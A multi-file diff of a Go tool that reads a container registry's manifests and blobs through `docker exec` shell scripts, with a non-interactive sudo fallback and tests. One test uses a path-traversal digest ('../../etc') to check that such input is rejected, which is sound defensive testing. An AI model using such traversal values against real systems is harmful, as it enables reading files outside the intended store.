{Name: "image", Kind: "image", Digest: digestOf(imageRef("letta", n)), Reference: artifactref.SeatReference(reg.Seat, "letta", "image", digestOf(imageRef("letta", n)))},
{Name: "files", Kind: "archive", Digest: digestOf(archiveRef("letta", n)), Reference: artifactref.SeatReference(ociseat.Seat, "letta", "files", digestOf(archiveRef("letta", n)))}}})
key, _ := delivery.BuilderBuildKey("letta", fp(n))
raw, _ := delivery.EncodeBuilderBuild(delivery.BuilderBuild{State: delivery.BuildDone, Manifest: strings.Repeat("d", 64), Artifacts: []delivery.BuiltArtifact{
{Name: "image", Kind: "image", Digest: digestOf(imageRef("letta", n)), Reference: catalogue.SeatReference("container-image-registry", "letta", "image", digestOf(imageRef("letta", n)))},
{Name: "files", Kind: "archive", Digest: digestOf(archiveRef("letta", n)), Reference: catalogue.SeatReference("oci-artifact-registry", "letta", "files", digestOf(archiveRef("letta", n)))}}})
_ = b.Put(BuildsRead, key, json.RawMessage(raw))
}
}
@@ -410,9 +405,9 @@ func TestAWantedImageTheStoreLacksIsAFindingAndImagesNamesWantsAndHaves(t *testi
if err := h.Observe(context.Background()); err != nil {
t.Fatal(err)
}
key := meshconditionsclient.Key(meshconditionsclient.ScopeModule, "letta.ace", ImageMissing)
key := health.FindingKey(health.ScopeModule, "letta.ace", ImageMissing)
raw, found, _ := b.Get(FindingsState, key)
f, err := meshconditions.DecodeFindingsByKeyValue(raw)
f, err := health.DecodeFinding(raw)
if !found || err != nil || f.Subject.Machine != "ace" || f.Source != "S25" || !strings.Contains(f.Evidence[0].Said, imageRef("letta", 1)) {
t.Fatalf("the finding is %+v (%v, %v)", f, found, err)
}
@@ -432,7 +427,7 @@ func TestAWantedImageTheStoreLacksIsAFindingAndImagesNamesWantsAndHaves(t *testi
t.Fatalf("the pinnedImage image missing is %s", raw)
}
have, _ := json.Marshal(nodeengine.HaveByNodeModuleValue{V: 1, Fp: fp(7), Phase: "running"})
have, _ := json.Marshal(delivery.Have{V: delivery.Version, FP: fp(7), Phase: "running"})
_ = b.Put(HavesRead, "ace.letta", json.RawMessage(have))
images, err := h.ImagesOf("ace", "10.0.0.5:5000")
if err != nil || len(images.Images) != 3 || !images.SentKnown || images.Images[0].Image != "10.0.0.5:5000/letta/image@sha256:"+strings.Repeat("1", 64) ||
@@ -1,166 +0,0 @@
package main
// **The store, read through its seats** (novox/hq ADR 0632 §4): the read tools and the sweep read what the store holds
// from the seats' `list`, container-image-registry's images and indexes and oci-artifact-registry's bundles and archives,
// never from the store's files or its read side. What a manifest marks beyond itself is the seat's size of it, so a
// blob two manifests share is counted in each, and what the store's nightly collector frees is not known before it runs.
import (
"context"
"encoding/json"
"fmt"
"sort"
ociseat "git.novox.be/novox/mesh-delivery/contracts/go/seats/ociartifactregistry"
reg "git.novox.be/novox/mesh-delivery/contracts/go/seats/containerimageregistry"
)
// Repo is one repository as the seats' list answers it.
type Repo struct {
Name string
// Revisions are the digests of every manifest it holds, tagged or not.
Revisions map[string]bool
// Tags are what each tag names now.
Tags map[string]string
}
// Listing is the store as the seats' list answers it: every repository, and a size for each manifest and each
// bundle's or archive's blob, keyed by its digest. A manifest's size is its own content and every blob it names, as the
// seat answers it, so a layer two manifests share is counted in each.
type Listing struct {
Blobs map[string]int64
Repos map[string]*Repo
}
func (l *Listing) repo(name string) *Repo {
r := l.Repos[name]
if r == nil {
r = &Repo{Name: name, Revisions: map[string]bool{}, Tags: map[string]string{}}
l.Repos[name] = r
}
return r
}
// RepoNames are the repositories in order.
func (l *Listing) RepoNames() []string {
out := make([]string, 0, len(l.Repos))
for n := range l.Repos {
out = append(out, n)
}
sort.Strings(out)
return out
}
// Manifest is what one manifest names.
type Manifest struct {
MediaType string
ConfigMedia string
// Refs are the blobs it names: its configuration and its layers.
Refs []string
// Layers are its layers alone, in order.
Layers []string
// Children are the manifests an index names.
Children []string
}
// Holder is the shape of a manifest that keeps one blob: an empty configuration and one layer. The
// controller holds every archive the mesh keeps this way (novox/hq issue 253), and keeps a named
// document the same way, under a tag.
func (m *Manifest) Holder() bool {
return m != nil && m.ConfigMedia == "application/vnd.oci.empty.v1+json" && len(m.Layers) == 1
}
// Key names one manifest in one repository.
func Key(repo, digest string) string { return repo + "@" + digest }
// Store is the artifact store as its two seats' `list` answers it: Ask is the runtime's stdio.Ask in main.
type Store struct {
Ask func(key string, body any) (json.RawMessage, error)
}
// ListOf asks seat's list, of one repository or, with name empty, of every one.
func (s *Store) ListOf(seat, name string) ([]reg.Repository, error) {
if s == nil || s.Ask == nil {
return nil, fmt.Errorf("this process reaches no registry seat")
}
raw, err := s.Ask("seat:"+seat+"."+reg.VerbList, reg.ListInput{Name: name})
if err != nil {
return nil, fmt.Errorf("%s's list: %w", seat, err)
}
var a reg.ListAnswer
if err := json.Unmarshal(raw, &a); err != nil {
return nil, fmt.Errorf("%s's answer to list: %w", seat, err)
}
return a.Repositories, nil
}
// View reads the store now, through both seats.
func (s *Store) View(context.Context) (*View, error) {
images, err := s.ListOf(reg.Seat, "")
if err != nil {
return nil, err
}
artifacts, err := s.ListOf(ociseat.Seat, "")
if err != nil {
return nil, err
}
return ViewOf(images, artifacts), nil
}
// ViewOf is the store as the two seats list it: each manifest a repository's revision, with its tags; an index naming its
// platform manifests; a bundle's or archive's manifest keeping its one blob, so it reads as the holder of that archive.
func ViewOf(seats ...[]reg.Repository) *View {
l := &Listing{Blobs: map[string]int64{}, Repos: map[string]*Repo{}}
m := map[string]*Manifest{}
held := map[string]bool{}
for _, repos := range seats {
for _, r := range repos {
repo := l.repo(r.Name)
for _, e := range r.Manifests {
repo.Revisions[e.Digest] = true
for _, t := range e.Tags {
repo.Tags[t] = e.Digest
}
doc := &Manifest{Children: append([]string(nil), e.Platforms...)}
l.Blobs[e.Digest] = e.Size
if e.Artifact != "" {
// The holder's size is the archive's with it: the blob itself counts nothing more.
doc.ConfigMedia, doc.Layers, doc.Refs = emptyConfig, []string{e.Artifact}, []string{e.Artifact}
if _, sized := l.Blobs[e.Artifact]; !sized {
l.Blobs[e.Artifact] = 0
}
}
m[Key(r.Name, e.Digest)] = doc
if e.Held {
held[Key(r.Name, e.Digest)] = true
}
}
}
}
return &View{L: l, M: m, Unread: map[string]string{}, Held: held}
}
// emptyConfig is the configuration media type of a manifest keeping one blob.
const emptyConfig = "application/vnd.oci.empty.v1+json"
// listed is the one entry of a reference's seat list naming it: by its manifest's digest, or a bundle's or an archive's by
// the blob its reference names. Gone when the seat lists none.
func (s *Store) listed(reference string) (reg.Listed, error) {
seat, name, digest, err := seatOf(reference)
if err != nil {
return reg.Listed{}, fmt.Errorf("%w: %v", ErrNotOurs, err)
}
repos, err := s.ListOf(seat, name)
if err != nil {
return reg.Listed{}, err
}
for _, r := range repos {
for _, e := range r.Manifests {
if (seat == ociseat.Seat && e.Artifact == digest) || (seat != ociseat.Seat && e.Digest == digest) {
return e, nil
}
}
}
return reg.Listed{}, Gone
}
@@ -1,10 +1,12 @@
// The artifact-store-tools module's Go bundle (novox/hq ADR 0251 §1–3, ADR 0571 clause 2, to-be 51): a process the
// node's runtime launches and speaks MCP over stdio to. It says what the artifact store holds — its repositories, its
// size, and what the mesh keeps of each manifest — read through the registry seats' list (novox/hq ADR 0632 §4), and it
// holds the seat mesh-artifact-sweep: the keep set, the sweep at each build's end, and S25's image-missing.
// size, and what the mesh keeps of each manifest — read from the store's own files through the store's own container,
// and it holds the seat mesh-artifact-sweep: the keep set, the sweep at each build's end, and S25's image-missing.
//
// **A module beside the store, not the store's own.** It requires no provision: what it reads, holds and removes it asks
// the registry seats (listed.go, sweepseats.go), never the store's files or its read side. stdout is the protocol; what this bundle says, it says on stderr.
// **A module beside the store, not the store's own.** A module that provides the artifact store cannot also build an
// artifact: building publishes to the store, so the store would be needed to create itself. So these tools are a
// second module, assigned to the machine that holds the store. stdout is the protocol; what this bundle says, it says
// on stderr.
package main
import (
@@ -13,9 +15,9 @@ import (
"os"
"time"
"git.novox.be/novox/mesh-contracts/health-and-repair/go/clients/meshconditionsclient"
"git.novox.be/novox/mesh-contracts/health-and-repair/go/clients/meshhandactsclient"
stdio "git.novox.be/novox/mesh-sdk/go"
"git.novox.be/novox/mesh-sdk/go/delivery"
"git.novox.be/novox/mesh-sdk/go/handacts"
"git.novox.be/novox/mesh-sdk/go/views"
)
@@ -23,13 +25,17 @@ import (
func logf(format string, a ...any) { fmt.Fprintf(os.Stderr, format+"\n", a...) }
func main() {
s := &Store{Ask: stdio.Ask}
v := &views.Reader{Module: "artifact-store-tools", Logf: logf, Findings: meshconditionsclient.FindingWriter{State: stdio.State("findings")}, Acts: meshhandactsclient.Recorder{Ask: stdio.Ask}}
v.Follow(assignerModule, "wants", WantsTool)
v.Follow(indexerModule, "manifests", ManifestsTool)
h := &Holder{Bus: runtimeBus{views: v}, Door: DoorAt(os.Getenv("MESH_ARTIFACT_STORE_ADDRESS_FILE"), s), Listed: s.View,
s := &Store{
Container: os.Getenv("MESH_ARTIFACT_STORE_CONTAINER"),
Run: ExecRunner,
UID: os.Getuid(),
}
v := &views.Reader{Module: "artifact-store-tools", Logf: logf, Findings: views.OwnFindings{}, Acts: handacts.Recorder{Ask: stdio.Ask}}
v.Follow(delivery.AssignerModule, "wants", WantsTool)
v.Follow(delivery.IndexerModule, "manifests", ManifestsTool)
h := &Holder{Bus: runtimeBus{views: v}, Door: DoorAt(os.Getenv("MESH_ARTIFACT_STORE_ADDRESS_FILE")), Listed: s.View,
Seats: stdio.Ask, Now: time.Now, Logf: logf}
h.Acts = meshhandactsclient.Recorder{Ask: stdio.Ask}
h.Acts = handacts.Recorder{Ask: stdio.Ask}
v.Start(context.Background())
go follow(h, v)
// An empty name serves as the module the runtime names (MESH_SERVED_MODULE): artifact-store-tools.
@@ -41,6 +47,6 @@ func main() {
// The owners' read tools of the states the holder follows, which the manifest invokes (ADR 0615).
const (
WantsTool = assignerModule + ".assigner_read_wants"
ManifestsTool = indexerModule + ".indexer_read_manifests"
WantsTool = delivery.AssignerModule + ".assigner_read_wants"
ManifestsTool = delivery.IndexerModule + ".indexer_read_manifests"
)
@@ -0,0 +1,175 @@
package main
import (
"context"
"fmt"
"sort"
"strings"
"sync"
)
// readScript prints each manifest named on its command line, each after a line naming its path. A
// manifest is JSON, which holds no raw line break inside a string, so no line of one starts with the
// marker. One the store does not have is said, not skipped.
const readScript = `cd ` + storageRoot + `
for p in "$@"; do
echo "#manifest $p"
if [ -f "$p" ]; then cat "$p"; echo; else echo "#absent"; fi
done
echo '#end'`
// readBatch is how many manifests one exec reads: well under any command line's limit.
const readBatch = 400
// Store reaches the artifact store's own files, through its own container, and only reads them.
type Store struct {
Container string
Run Runner
UID int
mu sync.Mutex
// cache holds every manifest read: a manifest is named by its content's digest, so it never changes.
cache map[string]*Manifest
}
// List reads the store's files.
func (s *Store) List(ctx context.Context) (*Listing, error) {
if s.Container == "" {
return nil, fmt.Errorf("this bundle was not told the artifact store's container (MESH_ARTIFACT_STORE_CONTAINER)")
}
out, err := docker(ctx, s.Run, s.UID, "exec", s.Container, "sh", "-c", listScript)
if err != nil {
return nil, err
}
return ParseListing(out)
}
// Key names one manifest in one repository.
func Key(repo, digest string) string { return repo + "@" + digest }
// blobPath is where the store keeps a blob, under storageRoot.
func blobPath(digest string) string {
algorithm, hex, _ := strings.Cut(digest, ":")
if algorithm == "" || len(hex) < 2 || strings.ContainsAny(digest, "/ \n") {
return ""
}
return "blobs/" + algorithm + "/" + hex[:2] + "/" + hex + "/data"
}
// Manifests reads every manifest the listing names, from the cache or the store's files. Answers each
// one read, and each one not read with why.
func (s *Store) Manifests(ctx context.Context, l *Listing) (map[string]*Manifest, map[string]string) {
need := map[string]bool{}
s.mu.Lock()
if s.cache == nil {
s.cache = map[string]*Manifest{}
}
for _, name := range l.RepoNames() {
for d := range l.Repos[name].Revisions {
if _, ok := s.cache[d]; !ok {
need[d] = true
}
}
}
s.mu.Unlock()
digests := make([]string, 0, len(need))
for d := range need {
digests = append(digests, d)
}
sort.Strings(digests)
failed := map[string]string{}
for start := 0; start < len(digests); start += readBatch {
batch := digests[start:min(start+readBatch, len(digests))]
read, err := s.read(ctx, batch)
s.mu.Lock()
for _, d := range batch {
switch m := read[d]; {
case err != nil:
failed[d] = err.Error()
case m == nil:
failed[d] = "the store holds no manifest content for it"
default:
s.cache[d] = m
}
}
s.mu.Unlock()
}
got := map[string]*Manifest{}
unread := map[string]string{}
s.mu.Lock()
defer s.mu.Unlock()
for _, name := range l.RepoNames() {
for d := range l.Repos[name].Revisions {
if m, ok := s.cache[d]; ok {
got[Key(name, d)] = m
} else if why, ok := failed[d]; ok {
unread[Key(name, d)] = why
} else {
unread[Key(name, d)] = "not read"
}
}
}
return got, unread
}
// read reads one batch of manifests. A blob that is not a manifest, or not there, is answered as nil;
// an exec that fails fails the batch.
func (s *Store) read(ctx context.Context, digests []string) (map[string]*Manifest, error) {
args := []string{"exec", s.Container, "sh", "-c", readScript, "sh"}
byPath := map[string]string{}
for _, d := range digests {
if p := blobPath(d); p != "" {
byPath[p] = d
args = append(args, p)
}
}
out, err := docker(ctx, s.Run, s.UID, args...)
if err != nil {
return nil, err
}
return parseManifests(out, byPath)
}
// parseManifests reads readScript's output.
func parseManifests(out string, byPath map[string]string) (map[string]*Manifest, error) {
got := map[string]*Manifest{}
current := ""
var body strings.Builder
flush := func() {
if d := byPath[current]; d != "" {
m, err := ParseManifest([]byte(body.String()))
if err != nil {
m = nil
}
got[d] = m
}
current = ""
body.Reset()
}
ended := false
for _, line := range strings.Split(out, "\n") {
switch {
case strings.HasPrefix(line, "#manifest "):
flush()
current = strings.TrimPrefix(line, "#manifest ")
case line == "#absent":
if d := byPath[current]; d != "" {
got[d] = nil
}
current = ""
body.Reset()
case line == "#end":
flush()
ended = true
default:
body.WriteString(line)
body.WriteString("\n")
}
}
if !ended {
return nil, fmt.Errorf("reading the store's manifests was cut short (it never reached its end)")
}
return got, nil
}
@@ -0,0 +1,38 @@
package main
import "testing"
func TestManifestsAreReadFromTheStoresFilesAndAMissingOneIsSaid(t *testing.T) {
got, err := parseManifests("#manifest blobs/sha256/aa/aa1/data\n"+image(d("cfg"), d("l"))+"\n\n#manifest blobs/sha256/bb/bb1/data\n#absent\n#manifest blobs/sha256/cc/cc1/data\nnot json\n#end\n",
map[string]string{"blobs/sha256/aa/aa1/data": "sha256:aa1", "blobs/sha256/bb/bb1/data": "sha256:bb1", "blobs/sha256/cc/cc1/data": "sha256:cc1"})
if err != nil {
t.Fatal(err)
}
if m := got["sha256:aa1"]; m == nil || len(m.Layers) != 1 || m.Layers[0] != d("l") {
t.Errorf("aa1 %+v", m)
}
if got["sha256:bb1"] != nil || got["sha256:cc1"] != nil {
t.Error("an absent or unreadable manifest was read as one")
}
if _, err := parseManifests("#manifest x\n{}\n", map[string]string{"x": "sha256:x"}); err == nil {
t.Error("a cut read was accepted")
}
f := world()
delete(f.manifests, d("m-old"))
v := view(t, f)
if v.Unread[Key("app/server", d("m-old"))] == "" {
t.Error("a manifest whose content is gone was not said as unread")
}
if out := Usage(v, 3); out["unread"] == nil {
t.Error("the answer did not say a manifest was unread")
}
}
func TestADigestNeverBecomesAPathOutsideTheBlobs(t *testing.T) {
for _, bad := range []string{"sha256:", "nocolon", "sha256:a/../../etc", "sha256:ab cd"} {
if p := blobPath(bad); p != "" {
t.Errorf("%q became %q", bad, p)
}
}
}
@@ -0,0 +1,96 @@
package main
import (
"bytes"
"context"
"errors"
"fmt"
"os/exec"
"regexp"
"strings"
"time"
)
// Ran is what a command did: its output, its exit status, and why it never ran to an answer.
type Ran struct {
Stdout string
Stderr string
Status int
// Err is "ENOENT" when the program is not installed, or says it was ended for taking too long.
Err string
}
// Runner runs one command, so every tool can be tested without a daemon.
type Runner func(ctx context.Context, name string, args ...string) Ran
// ListTimeout is how long listing the store's files may take: below the runtime's thirty-second call
// limit, so a store that hangs is answered as such rather than as a call the runtime gave up on.
const ListTimeout = 15 * time.Second
// ExecRunner runs a command on this machine, bounded by ListTimeout.
func ExecRunner(ctx context.Context, name string, args ...string) Ran {
ctx, cancel := context.WithTimeout(ctx, ListTimeout)
defer cancel()
cmd := exec.CommandContext(ctx, name, args...)
var out, errb bytes.Buffer
cmd.Stdout, cmd.Stderr = &out, &errb
err := cmd.Run()
r := Ran{Stdout: out.String(), Stderr: errb.String()}
var exitErr *exec.ExitError
switch {
case errors.Is(ctx.Err(), context.DeadlineExceeded):
r.Status, r.Err = 124, fmt.Sprintf("no answer within %d s", int(ListTimeout/time.Second))
case errors.Is(err, exec.ErrNotFound):
r.Status, r.Err = 127, "ENOENT"
case errors.As(err, &exitErr):
r.Status = exitErr.ExitCode()
case err != nil:
r.Status, r.Err = 1, err.Error()
}
return r
}
var socketRefused = regexp.MustCompile(`(?i)permission denied.*docker.*sock|docker\.sock.*permission denied`)
// docker runs one docker command as this account and answers its stdout. A socket that refuses the
// account is asked again through `sudo -n`, as the container runtime's own tools do; never as root
// otherwise, and never with a prompt.
func docker(ctx context.Context, run Runner, uid int, args ...string) (string, error) {
r := run(ctx, "docker", args...)
program := "docker"
if r.Status != 0 && r.Err == "" && uid != 0 && socketRefused.MatchString(r.Stderr) {
program = "sudo"
r = run(ctx, "sudo", append([]string{"-n", "docker"}, args...)...)
}
if r.Status == 0 && r.Err == "" {
return r.Stdout, nil
}
said := strings.TrimSpace(r.Stderr + "\n" + r.Stdout)
switch {
case r.Err == "ENOENT" && program == "sudo":
return "", errors.New("the runtime's socket refused this account, and sudo is not installed here to escalate with")
case r.Err == "ENOENT":
return "", errors.New("docker is not installed on this machine, so the store's files cannot be listed")
case r.Err != "":
return "", fmt.Errorf("listing the store's files did not answer: %s", r.Err)
case program == "sudo" && strings.HasPrefix(said, "sudo:"):
return "", fmt.Errorf("the runtime's socket refused this account and it may not escalate without a prompt: %s", firstLine(said))
case strings.Contains(said, "No such container"):
return "", fmt.Errorf("the store's container is not on this machine: %s", firstLine(said))
case strings.Contains(said, "is not running"):
return "", fmt.Errorf("the store's container is not running: %s", firstLine(said))
}
if l := firstLine(said); l != "" {
return "", fmt.Errorf("listing the store's files failed (%d): %s", r.Status, l)
}
return "", fmt.Errorf("listing the store's files failed with status %d", r.Status)
}
func firstLine(s string) string {
for _, l := range strings.Split(s, "\n") {
if l = strings.TrimSpace(l); l != "" {
return l
}
}
return ""
}
@@ -1,6 +1,6 @@
package main
// The seat mesh-artifact-sweep's verbs (novox/hq ADR 0571 clause 2; sweep.Seat), each a tool named
// The seat mesh-artifact-sweep's verbs (novox/hq ADR 0571 clause 2; catalogue.ArtifactSweepSeat), each a tool named
// `artifact-store.<verb>` as the runtime serves a seat's verb, answering as the controller's verb answered: {output,
// ok, answer}.
@@ -8,8 +8,8 @@ import (
"fmt"
"strings"
sweep "git.novox.be/novox/mesh-delivery/contracts/go/seats/meshartifactsweep"
stdio "git.novox.be/novox/mesh-sdk/go"
"git.novox.be/novox/mesh-sdk/go/catalogue"
)
// verbAnswer is the controller's verbs' answer shape, which the builder and docker read (answerOf).
@@ -21,7 +21,7 @@ type verbAnswer struct {
// SeatTools are the seat's verbs over h; s reads the store's listing for mirrors.
func SeatTools(h *Holder, s *Store) []stdio.Tool {
seat := sweep.Seat + "."
seat := catalogue.ArtifactSweepSeat + "."
return []stdio.Tool{
{Name: seat + "artifacts", Description: "Every artifact the mesh made that the store holds: kept and why, eligible, " +
"or with collected those it no longer holds.",
@@ -0,0 +1,180 @@
package main
import (
"encoding/json"
"fmt"
"sort"
"strconv"
"strings"
)
// What the artifact store holds, read from its own files, and nothing written to them.
//
// **Why its files.** The store's door lists repositories and the tags in each, but not a manifest no tag
// names — and since the mesh pins every machine by digest, that is almost every manifest the store
// holds. The files list them all, with every blob's size, and hold every manifest's content. They are
// read through the store's own container, which is the only process that has them, and only read
// (novox/hq ADR 0251 §1). So this module runs on the machine that holds the store; anywhere else its
// tools say the container is not there.
// storageRoot is where the registry keeps its files, inside its container.
const storageRoot = "/var/lib/registry/docker/registry/v2"
// listScript lists, in three sections, every blob with its size, every manifest each repository holds,
// and what each tag names now. Busybox's find and stat (the store's image is Alpine): no -printf. An
// upload in progress is not listed, and nor are a tag's former targets.
const listScript = `set -e
cd ` + storageRoot + `
echo '#blobs'
if [ -d blobs ]; then find blobs -type f -name data | xargs -r stat -c '%s %n'; fi
echo '#revisions'
if [ -d repositories ]; then find repositories -type f -path '*/_manifests/revisions/sha256/*/link'; fi
echo '#tags'
if [ -d repositories ]; then find repositories -type f -path '*/_manifests/tags/*/current/link' -exec grep -H . {} + || true; fi
echo '#end'`
// Repo is one repository as the store's files list it.
type Repo struct {
Name string
// Revisions are the digests of every manifest it holds, tagged or not.
Revisions map[string]bool
// Tags are what each tag names now.
Tags map[string]string
}
// Listing is the store's files: every blob with its size, and every repository.
type Listing struct {
Blobs map[string]int64
Repos map[string]*Repo
}
func (l *Listing) repo(name string) *Repo {
r := l.Repos[name]
if r == nil {
r = &Repo{Name: name, Revisions: map[string]bool{}, Tags: map[string]string{}}
l.Repos[name] = r
}
return r
}
// RepoNames are the repositories in order.
func (l *Listing) RepoNames() []string {
out := make([]string, 0, len(l.Repos))
for n := range l.Repos {
out = append(out, n)
}
sort.Strings(out)
return out
}
// ParseListing reads listScript's output. A section that never ended means the listing was cut short,
// which is an error: a partial listing would make held things look absent.
func ParseListing(out string) (*Listing, error) {
l := &Listing{Blobs: map[string]int64{}, Repos: map[string]*Repo{}}
section := ""
ended := false
for _, line := range strings.Split(out, "\n") {
line = strings.TrimSpace(line)
if line == "" {
continue
}
if strings.HasPrefix(line, "#") {
section = line
ended = line == "#end"
continue
}
switch section {
case "#blobs":
size, path, ok := strings.Cut(line, " ")
n, err := strconv.ParseInt(size, 10, 64)
if !ok || err != nil {
return nil, fmt.Errorf("the store's listing has a blob line it cannot read: %q", line)
}
// blobs/sha256/ab/<hex>/data
parts := strings.Split(strings.TrimPrefix(path, "./"), "/")
if len(parts) != 5 || parts[0] != "blobs" || parts[4] != "data" {
return nil, fmt.Errorf("the store's listing has a blob at an unexpected place: %q", path)
}
l.Blobs[parts[1]+":"+parts[3]] = n
case "#revisions":
// repositories/<repo>/_manifests/revisions/sha256/<hex>/link
name, rest, ok := strings.Cut(strings.TrimPrefix(strings.TrimPrefix(line, "./"), "repositories/"), "/_manifests/revisions/")
parts := strings.Split(rest, "/")
if !ok || len(parts) != 3 || parts[2] != "link" {
return nil, fmt.Errorf("the store's listing has a manifest at an unexpected place: %q", line)
}
l.repo(name).Revisions[parts[0]+":"+parts[1]] = true
case "#tags":
// repositories/<repo>/_manifests/tags/<tag>/current/link:sha256:<hex>
path, digest, ok := strings.Cut(line, ":sha256:")
name, rest, ok2 := strings.Cut(strings.TrimPrefix(strings.TrimPrefix(path, "./"), "repositories/"), "/_manifests/tags/")
tag, _, ok3 := strings.Cut(rest, "/current/link")
if !ok || !ok2 || !ok3 || tag == "" {
return nil, fmt.Errorf("the store's listing has a tag line it cannot read: %q", line)
}
l.repo(name).Tags[tag] = "sha256:" + digest
default:
return nil, fmt.Errorf("the store's listing has a line outside any section: %q", line)
}
}
if !ended {
return nil, fmt.Errorf("the store's listing was cut short (it never reached its end)")
}
return l, nil
}
// Manifest is what one manifest names.
type Manifest struct {
MediaType string
ConfigMedia string
// Refs are the blobs it names: its configuration and its layers.
Refs []string
// Layers are its layers alone, in order.
Layers []string
// Children are the manifests an index names.
Children []string
}
// Holder is the shape of a manifest that keeps one blob: an empty configuration and one layer. The
// controller holds every archive the mesh keeps this way (novox/hq issue 253), and keeps a named
// document the same way, under a tag.
func (m *Manifest) Holder() bool {
return m != nil && m.ConfigMedia == "application/vnd.oci.empty.v1+json" && len(m.Layers) == 1
}
// ParseManifest reads a manifest's content, of any of the shapes a registry holds.
func ParseManifest(raw []byte) (*Manifest, error) {
type desc struct {
MediaType string `json:"mediaType"`
Digest string `json:"digest"`
}
var v struct {
MediaType string `json:"mediaType"`
Config *desc `json:"config"`
Layers []desc `json:"layers"`
Manifests []desc `json:"manifests"`
FSLayers []struct {
BlobSum string `json:"blobSum"`
} `json:"fsLayers"`
}
if err := json.Unmarshal(raw, &v); err != nil {
return nil, fmt.Errorf("not a manifest: %v", err)
}
m := &Manifest{MediaType: v.MediaType}
if v.Config != nil && v.Config.Digest != "" {
m.ConfigMedia = v.Config.MediaType
m.Refs = append(m.Refs, v.Config.Digest)
}
for _, d := range v.Layers {
m.Refs = append(m.Refs, d.Digest)
m.Layers = append(m.Layers, d.Digest)
}
for _, d := range v.FSLayers {
m.Refs = append(m.Refs, d.BlobSum)
m.Layers = append(m.Layers, d.BlobSum)
}
for _, d := range v.Manifests {
m.Children = append(m.Children, d.Digest)
}
return m, nil
}
@@ -1,10 +1,7 @@
package main
import (
reg "git.novox.be/novox/mesh-delivery/contracts/go/seats/containerimageregistry"
sweep "git.novox.be/novox/mesh-delivery/contracts/go/seats/meshartifactsweep"
"git.novox.be/novox/mesh-sdk/go/catalogue"
"git.novox.be/novox/mesh-sdk/go/seatlist/seatlisttest"
"git.novox.be/novox/mesh-sdk/go/views"
"context"
@@ -27,72 +24,66 @@ func d(name string) string {
func hexOf(digest string) string { return strings.TrimPrefix(digest, "sha256:") }
// fakeStore is a store's blobs and manifests, as the two registry seats' list answers them (ADR 0632 §4).
// fakeStore is a store's files and its manifests: what listScript and readScript would print.
type fakeStore struct {
blobs map[string]int64
revisions map[string][]string // repo -> digests
tags map[string]map[string]string
manifests map[string]string // digest -> content
held map[string]bool // Key(repo, digest) -> held
}
// ask is the seats as the runtime asks them: list on each, every repository or one; anything else fails the test, as
// these tools only read.
func (f *fakeStore) ask(t *testing.T) func(string, any) (json.RawMessage, error) {
return func(key string, body any) (json.RawMessage, error) {
seat, verb, _ := strings.Cut(strings.TrimPrefix(key, "seat:"), ".")
if verb != "list" || (seat != "container-image-registry" && seat != "oci-artifact-registry") {
t.Fatalf("asked %s", key)
func (f *fakeStore) listing() string {
var b strings.Builder
b.WriteString("#blobs\n")
for dg, n := range f.blobs {
fmt.Fprintf(&b, "%d blobs/sha256/%s/%s/data\n", n, hexOf(dg)[:2], hexOf(dg))
}
b.WriteString("#revisions\n")
for repo, ds := range f.revisions {
for _, dg := range ds {
fmt.Fprintf(&b, "repositories/%s/_manifests/revisions/sha256/%s/link\n", repo, hexOf(dg))
}
raw, _ := json.Marshal(body)
var in reg.ListInput
_ = json.Unmarshal(raw, &in)
repos := []reg.Repository{}
names := make([]string, 0, len(f.revisions))
for n := range f.revisions {
names = append(names, n)
}
b.WriteString("#tags\n")
for repo, ts := range f.tags {
for t, dg := range ts {
fmt.Fprintf(&b, "repositories/%s/_manifests/tags/%s/current/link:%s\n", repo, t, dg)
}
sort.Strings(names)
for _, name := range names {
if in.Name != "" && in.Name != name {
continue
}
var ms []reg.Listed
for _, dg := range f.revisions[name] {
var doc struct {
Config *struct{ MediaType, Digest string }
Layers []struct{ Digest string }
Manifests []struct{ Digest string }
}
_ = json.Unmarshal([]byte(f.manifests[dg]), &doc)
e := reg.Listed{Digest: dg, Size: f.blobs[dg], Held: f.held[Key(name, dg)]}
if doc.Config != nil {
e.Size += f.blobs[doc.Config.Digest]
}
for _, l := range doc.Layers {
e.Size += f.blobs[l.Digest]
}
for _, c := range doc.Manifests {
e.Platforms = append(e.Platforms, c.Digest)
}
e.Index = len(e.Platforms) > 0
if doc.Config != nil && doc.Config.MediaType == "application/vnd.oci.empty.v1+json" && len(doc.Layers) == 1 {
e.Artifact = doc.Layers[0].Digest
}
for tag, at := range f.tags[name] {
if at == dg {
e.Tags = append(e.Tags, tag)
}
b.WriteString("#end\n")
return b.String()
}
// run is the store's container as docker exec reaches it: the listing, or the manifests asked for, as
// the two scripts print them. Anything else is a test failure: these tools only read.
func (f *fakeStore) run(t *testing.T) Runner {
return func(_ context.Context, name string, args ...string) Ran {
if name != "docker" || len(args) < 5 || args[0] != "exec" || args[1] != "mesh-registry" || args[2] != "sh" || args[3] != "-c" {
t.Fatalf("ran %s %v", name, args)
}
switch args[4] {
case listScript:
return Ran{Stdout: f.listing()}
case readScript:
var b strings.Builder
for _, p := range args[6:] {
fmt.Fprintf(&b, "#manifest %s\n", p)
found := false
for dg, body := range f.manifests {
if blobPath(dg) == p {
b.WriteString(body + "\n")
found = true
}
}
if (e.Artifact != "") == (seat == "oci-artifact-registry") {
ms = append(ms, e)
if !found {
b.WriteString("#absent\n")
}
}
if len(ms) > 0 {
repos = append(repos, reg.Repository{Name: name, Manifests: ms})
}
b.WriteString("#end\n")
return Ran{Stdout: b.String()}
}
return json.Marshal(reg.ListAnswer{Repositories: repos})
t.Fatalf("ran a script these tools do not have: %q", args[4])
return Ran{}
}
}
@@ -164,7 +155,7 @@ func records() *Records {
func view(t *testing.T, f *fakeStore) *View {
t.Helper()
s := &Store{Ask: f.ask(t)}
s := &Store{Container: "mesh-registry", UID: 1000, Run: f.run(t)}
v, err := s.View(context.Background())
if err != nil {
t.Fatal(err)
@@ -179,34 +170,50 @@ func withFill(r *Records) *Records {
return r
}
// The store is read through its two seats' list (ADR 0632 §4): every manifest of every repository, tagged or not, an
// index with the manifests it names, a bundle's or archive's manifest as the holder of its blob; each manifest's size is
// the seat's, so nothing is unmarked before a manifest goes, and a manifest gone frees its size.
func TestTheStoreIsReadThroughItsSeats(t *testing.T) {
f := world()
f.held = map[string]bool{Key("app/tools", d("h-kept")): true}
v := view(t, f)
server := v.L.Repos["app/server"]
if server == nil || len(server.Revisions) != 4 || server.Tags["latest"] != d("m-stranger") {
t.Fatalf("app/server reads %+v", server)
func TestTheListingIsRead(t *testing.T) {
